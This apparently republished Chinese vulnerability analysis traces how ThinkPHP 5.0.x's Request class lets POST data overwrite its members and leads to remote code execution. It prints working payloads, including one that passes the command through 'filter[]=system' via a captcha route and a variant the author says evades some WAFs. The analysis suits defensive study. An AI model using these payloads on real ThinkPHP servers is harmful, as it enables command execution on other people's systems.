内容简介:Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞。Thinkphp框架官方提供核心版和完整版两种:核心版因默认缺少利用链,需要开启Debug模式,才能造成远程代码执行。
Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞。
介绍
Thinkphp框架官方提供核心版和完整版两种:
核心版因默认缺少利用链,需要开启Debug模式,才能造成远程代码执行。
完整版因自动加载组件,不需要开启Debug模式,直接造成远程代码执行。
本文将对thinkphp5.0.23核心版和thinkphp5.0.22完整版进行分析
5.0.23核心版分析
变量覆盖
tp5/thinkphp/library/think/Request.php:518
public function method($method = false) { if (true === $method) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
在没有设置$this->method的时候,可以直接通过POST包含Config::get('var_method')配置参数的键值对进行赋值,在配置文件中为_method。
tp5/thinkphp/convention.php:102
接着就是$this->{$this->method}($_POST),这里可以根据post请求中的键值动态的调用任意的类成员方法,并且参数为$_POST,尝试动态调用Request类的__construct方法。
tp5/thinkphp/library/think/Request.php:135
protected function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } // 保存 php://input $this->input = file_get_contents('php://input'); }
参数为$_POST,遍历POST中包含的参数的键名,如果类中包含对应键名的成员就进行赋值,这里就存在Request类成员变量覆盖。
Payload触发流程
整体流程主要分两部分,第一次$request->method()完成类成员变量的覆盖,第二次$request->param()包含$this->method(true)调用call_user_func完成代码执行。
Post-Data:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls
入口点:
tp5/thinkphp/library/think/App.php:115
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
进入App::routeCheck函数
public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由检测 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 开启路由 if (is_file(RUNTIME_PATH . 'route.php')) { // 读取路由缓存 $rules = include RUNTIME_PATH . 'route.php'; is_array($rules) && Route::rules($rules); } else { $files = $config['route_config_file']; foreach ($files as $file) { if (is_file(CONF_PATH . $file . CONF_EXT)) { // 导入路由配置 $rules = include CONF_PATH . $file . CONF_EXT; is_array($rules) && Route::import($rules); } } } // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
进入App::check函数
public static function check($request, $url, $depr = '/', $checkDomain = false){ //检查解析缓存 if (!App::$debug && Config::get('route_check_cache')) { $key = self::getCheckCacheKey($request); if (Cache::has($key)) { list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key); return self::parseRule($rule, $route, $pathinfo, $option, $matches, true); } } // 分隔符替换 确保路由定义使用统一的分隔符 $url = str_replace($depr, '|', $url); if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) { // 检测路由别名 $result = self::checkRouteAlias($request, $url, $depr); if (false !== $result) { return $result; } } $method = strtolower($request->method()); ...... }
App::check函数中调用了上面提到的$request->method(),调用__construct函数,使用Post-Data键对值对类成员进行变量覆盖,并分别修改$this->server和$this->filter为数组。
函数栈调用完毕后,入口点继续执行,开启Debug模式后将会执行第三个Log::record函数
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request->dispatch($dispatch); // 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
进入$request->param()
tp5/thinkphp/library/think/Request.php:634
public function param($name = '', $default = null, $filter = '') { if (empty($this->mergeParam)) { $method = $this->method(true); ...... }
程序开头再一次调用了method函数,但是这次传递参数true,函数返回值为$this->server('REQUEST_METHOD'),调用server函数。
tp5/thinkphp/library/think/Request.php:862
public function server($name = '', $default = null, $filter = '') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
传入参数为字符串REQUEST_METHOD,进入input函数。
tp5/thinkphp/library/think/Request.php:999
public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { // 获取原始数据 return $data; } $name = (string) $name; if ('' != $name) { // 解析name if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } else { $type = 's'; } // 按.拆分成多维数组进行判断 foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { // 无输入数据,返回默认值 return $default; } } if (is_object($data)) { return $data; } } // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); }
循环判断获取$data,通过getFilter函数获取$filter,最后传入filterValue函数。
tp5/thinkphp/library/think/Request.php:1082
就在此处完成任意代码执行。
5.0.22完整版分析
完整版拥有更丰富的组件,不需要开启DEBUG模式,因此利用链略有不同。
自动加载组件
可以从目录上看出,完整版组件较多。
Thinkphp拥有注册自动加载的功能,初始化时会加载引入其他组件,追踪此功能流程。
入口处:
tp5022/thinkphp/base.php:59
register函数 :
tp5022/thinkphp/library/think/Loader.php:282
public static function register($autoload = null) { // 注册系统自动加载 spl_autoload_register($autoload ?: 'think\\Loader::autoload', true, true); // Composer 自动加载支持 if (is_dir(VENDOR_PATH . 'composer')) { if (PHP_VERSION_ID >= 50600 && is_file(VENDOR_PATH . 'composer' . DS . 'autoload_static.php')) { require VENDOR_PATH . 'composer' . DS . 'autoload_static.php'; $declaredClass = get_declared_classes(); $composerClass = array_pop($declaredClass); foreach (['prefixLengthsPsr4', 'prefixDirsPsr4', 'fallbackDirsPsr4', 'prefixesPsr0', 'fallbackDirsPsr0', 'classMap', 'files'] as $attr) { if (property_exists($composerClass, $attr)) { self::${$attr} = $composerClass::${$attr}; } } } else { self::registerComposerLoader(); } } // 注册命名空间定义 self::addNamespace([ 'think' => LIB_PATH . 'think' . DS, 'behavior' => LIB_PATH . 'behavior' . DS, 'traits' => LIB_PATH . 'traits' . DS, ]); // 加载类库映射文件 if (is_file(RUNTIME_PATH . 'classmap' . EXT)) { self::addClassMap(__include_file(RUNTIME_PATH . 'classmap' . EXT)); } self::loadComposerAutoloadFiles();
loadComposerAutoloadFiles函数 :
tp5022/thinkphp/library/think/Loader.php:357
__require_file函数:
tp5022/thinkphp/library/think/Loader.php:674
整个函数栈调用如下:
然后直接包含组件文件,组件文件中注册了GET路由:
tp5022/vendor/topthink/think-captcha/src/helper.php:12
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
Route::get函数:
tp5022/thinkphp/library/think/Route.php:510
public static function get($rule, $route = '', $option = [], $pattern = []) { self::rule($rule, $route, 'GET', $option, $pattern); }
Route::rule函数:
tp5022/thinkphp/library/think/Route.php:232
public static function rule($rule, $route = '', $type = '*', $option = [], $pattern = []) { $group = self::getGroup('name'); if (!is_null($group)) { // 路由分组 $option = array_merge(self::getGroup('option'), $option); $pattern = array_merge(self::getGroup('pattern'), $pattern); } $type = strtolower($type); if (strpos($type, '|')) { $option['method'] = $type; $type = '*'; } if (is_array($rule) && empty($route)) { foreach ($rule as $key => $val) { if (is_numeric($key)) { $key = array_shift($val); } if (is_array($val)) { $route = $val[0]; $option1 = array_merge($option, $val[1]); $pattern1 = array_merge($pattern, isset($val[2]) ? $val[2] : []); } else { $option1 = null; $pattern1 = null; $route = $val; } self::setRule($key, $route, $type, !is_null($option1) ? $option1 : $option, !is_null($pattern1) ? $pattern1 : $pattern, $group); } } else { self::setRule($rule, $route, $type, $option, $pattern, $group); } }
Route::setRule函数:
tp5022/thinkphp/library/think/Route.php:281
protected static function setRule($rule, $route, $type = '*', $option = [], $pattern = [], $group = '') { ...... if ($group) { if ('*' != $type) { $option['method'] = $type; } if (self::$domain) { self::$rules['domain'][self::$domain]['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern]; } else { self::$rules['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern]; } } else { if ('*' != $type && isset(self::$rules['*'][$rule])) { unset(self::$rules['*'][$rule]); } if (self::$domain) { self::$rules['domain'][self::$domain][$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern]; } else { self::$rules[$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern]; } ...... } }
在最后一个else分支中对Route::$rules进行赋值,表示完成GET路由的注册,此时函数栈:
无需DEBUG利用链
Debug模式没开启的,则无法进度对应的Log::record函数,需要寻找新的调用$request->param()的利用链。
App::exec函数中的method开关是一个不错的选择,调用了Request::instance()->param()。
tp5022/thinkphp/library/think/App.php:139
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request->dispatch($dispatch); // 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); } // 监听 app_begin Hook::listen('app_begin', $dispatch); // 请求缓存检查 $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] ); $data = self::exec($dispatch, $config);
exec函数:
tp5022/thinkphp/library/think/App.php:445
protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': // 重定向跳转 $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': // 模块/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': // 执行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break; case 'method': // 回调方法 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break;
exec函数接受两个参数,要进入method开关,需要传入exec函数的$dispatch调度信息可控,也就是App::routeCheck函数的返回值可控。
Post-Data,相比核心版增加一些参数:
POST /tp5022/public/?s=captcha HTTP/1.1 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
入口:tp5022/thinkphp/library/think/App.php:115
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
App::routeCheck函数:tp5022/thinkphp/library/think/App.php:617
public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由检测 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 开启路由 if (is_file(RUNTIME_PATH . 'route.php')) { // 读取路由缓存 $rules = include RUNTIME_PATH . 'route.php'; is_array($rules) && Route::rules($rules); } else { $files = $config['route_config_file']; foreach ($files as $file) { if (is_file(CONF_PATH . $file . CONF_EXT)) { // 导入路由配置 $rules = include CONF_PATH . $file . CONF_EXT; is_array($rules) && Route::import($rules); } } } // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); ...... return $result; }
$request->path()根据配置文件获取请求中的参数s得到$path的值为captcha,然后传入Route::check函数,返回值就是调度结果。
tp5022/thinkphp/library/think/Route.php:836
public static function check($request, $url, $depr = '/', $checkDomain = false) { ...... $method = strtolower($request->method()); // 获取当前请求类型的路由规则 $rules = isset(self::$rules[$method]) ? self::$rules[$method] : []; ...... if (!empty($rules)) { return self::checkRoute($request, $rules, $url, $depr); } return false; }
和核心版一样,使用$request->method()进行了类成员变量覆盖,不过POST数据中相比核心版多了method=get,就导致$this->method本身也被覆盖并且作为方法返回值,此时可控,也就是说$method此时为get。
接着到Route::$rules中获取get类型的路由规则存入$rules,这个路由规则就是vendor/topthink/think-captcha/src/helper.php中注册的get路由规则,。
Route::checkRoute 路由检查:
tp5022/thinkphp/library/think/Route.php:908
private static function checkRule($rule, $route, $url, $pattern, $option, $depr) { ...... if (false !== $match = self::match($url, $rule, $pattern)) { // 匹配到路由规则 return self::parseRule($rule, $route, $url, $option, $match); } } return false; }
Route::match函数会检测URL和规则路由是否匹配,因此需要设置s=captcha。
Route::parseRule路由检查:
tp5022/thinkphp/library/think/Route.php:1390
private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false) { $request = Request::instance(); ...... if ($route instanceof \Closure) { // 执行闭包 $result = ['type' => 'function', 'function' => $route]; } elseif (0 === strpos($route, '/') || strpos($route, '://')) { // 路由到重定向地址 $result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301]; } elseif (false !== strpos($route, '\\')) { // 路由到方法 list($path, $var) = self::parseUrlPath($route); $route = str_replace('/', '@', implode('/', $path)); $method = strpos($route, '@') ? explode('@', $route) : $route; $result = ['type' => 'method', 'method' => $method, 'var' => $var]; ...... return $result; }
在elseif (false !== strpos($route, '\\'))中设置好$result,然后一层层返回,就是我们最上层的$dispatch
函数栈如下:
以上操作完成变量覆盖,$dispatch值的操纵,最后exec函数中进入method开关调用Request::instance()->param(),完成代码执行。
攻击链变形
在exec函数中,进入method开关并调用Request::instance()->param()后,除了上文讲述的利用$this->method(true)进行代码执行以外,还可以使用一个变形的攻击链(此处感谢八里送屌的指点,哈哈哈),适用版本更多,绕过一些waf。
Post-Data:
POST /tp5022/public/?s=captcha HTTP/1.1 _method=__construct&filter[]=system&method=get&get[]=ls
tp5022/thinkphp/library/think/Request.php:634
public function param($name = '', $default = null, $filter = '') { ...... $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } if (true === $name) { // 获取包含文件上传信息的数组 $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param; return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); }
使用array_merge对三个变量进行合并,其中一个为例,进入get方法:
tp5022/thinkphp/library/think/Request.php:689
public function get($name = '', $default = null, $filter = '') { if (empty($this->get)) { $this->get = $_GET; } if (is_array($name)) { $this->param = []; return $this->get = array_merge($this->get, $name); } return $this->input($this->get, $name, $default, $filter); }
是对$this->get变量的操作,这个已经在前面通过POST数据变量覆盖,最后get方法返回$this->get。
最后合并后的$this->param的结果为:
然后在返回处传入input函数
return $this->input($this->param, $name, $default, $filter);
tp5022/thinkphp/library/think/Request.php:994
public function input($data = [], $name = '', $default = null, $filter = '') { ...... // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); }
通过array_walk_recursive再调用filterValue,完成代码执行。
以上所述就是小编给大家介绍的《Thinkphp5框架变量覆盖导致远程代码执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 深度学习框架 TensorFlow.NET 0.1.0,完善变量更新操作
- 深度学习框架 TensorFlow.NET 0.1.0,完善变量更新操作
- 全局变量,静态全局变量,局部变量,静态局部变量
- python变量与变量作用域
- Python基础-类变量和实例变量
- python编程(类变量和实例变量)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
代码阅读方法与实践
斯平内利斯 / 赵学良 / 清华大学出版社 / 2004-03-01 / 45.00元
代码阅读有自身的一套技能,重要的是能够确定什么时候使用哪项技术。本书中,作者使用600多个现实的例子,向读者展示如何区分好的(和坏的)代码,如何阅读,应该注意什么,以及如何使用这些知识改进自己的代码。养成阅读高品质代码的习惯,可以提高编写代码的能力。 阅读代码是程序员的基本技能,同时也是软件开发、维护、演进、审查和重用过程中不可或缺的组成部分。本书首次将阅读代码作为一项独立课题......一起来看看 《代码阅读方法与实践》 这本书的介绍吧!